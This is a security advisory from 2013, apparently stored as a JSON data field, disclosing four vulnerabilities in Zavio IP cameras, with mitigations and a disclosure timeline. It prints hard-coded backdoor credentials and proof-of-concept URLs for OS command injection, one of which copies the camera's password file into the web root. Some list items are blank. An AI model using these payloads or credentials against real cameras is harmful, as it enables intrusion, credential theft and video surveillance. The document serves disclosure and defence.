The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 via the ap parameter to /cgi-bin/mft/wireless_mft.cgi, which could let a remote malicious user execute arbitrary code. Zavio IP The camera has OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Zavio is an IP camera. This vulnerability can also be used to obtain credentials for all registered users. Zavio IP Cameras are prone to a remote arbitrary command-injection vulnerability. \nSuccessful exploits will allow attackers to execute arbitrary commands in the context of the affected application. This may further aid in other attacks. \nZavio IP Cameras running firmware version 1.6.03 and below are vulnerable. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. [CVE-2013-2567] to bypass user web interface authentication using\nhard-coded credentials. \n 2. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. *Hard-Coded Credentials in Administrative Web Interface*\n\n[CVE-2013-2567] Zavio IP cameras use the Boa web server [3], a popular\ntiny server for embedded Linux devices. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities. No reply received. 2013-05-02:\nCore asks Zavio Tech Support for a security manager to send a\nconfidential report. 2013-05-09:\nCore asks for a reply. 2013-05-14:\nCore asks for a reply. 2013-05-21:\nCore tries to contact vendor for last time without any reply. 2013-05-28:\nAfter 5 failed attempts to report the issues, the advisory\nCORE-2013-0302 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.zavio.com/product.php?id=25. \n[2] http://zavio.com/product.php?id=23. \n[3] http://www.boa.org/. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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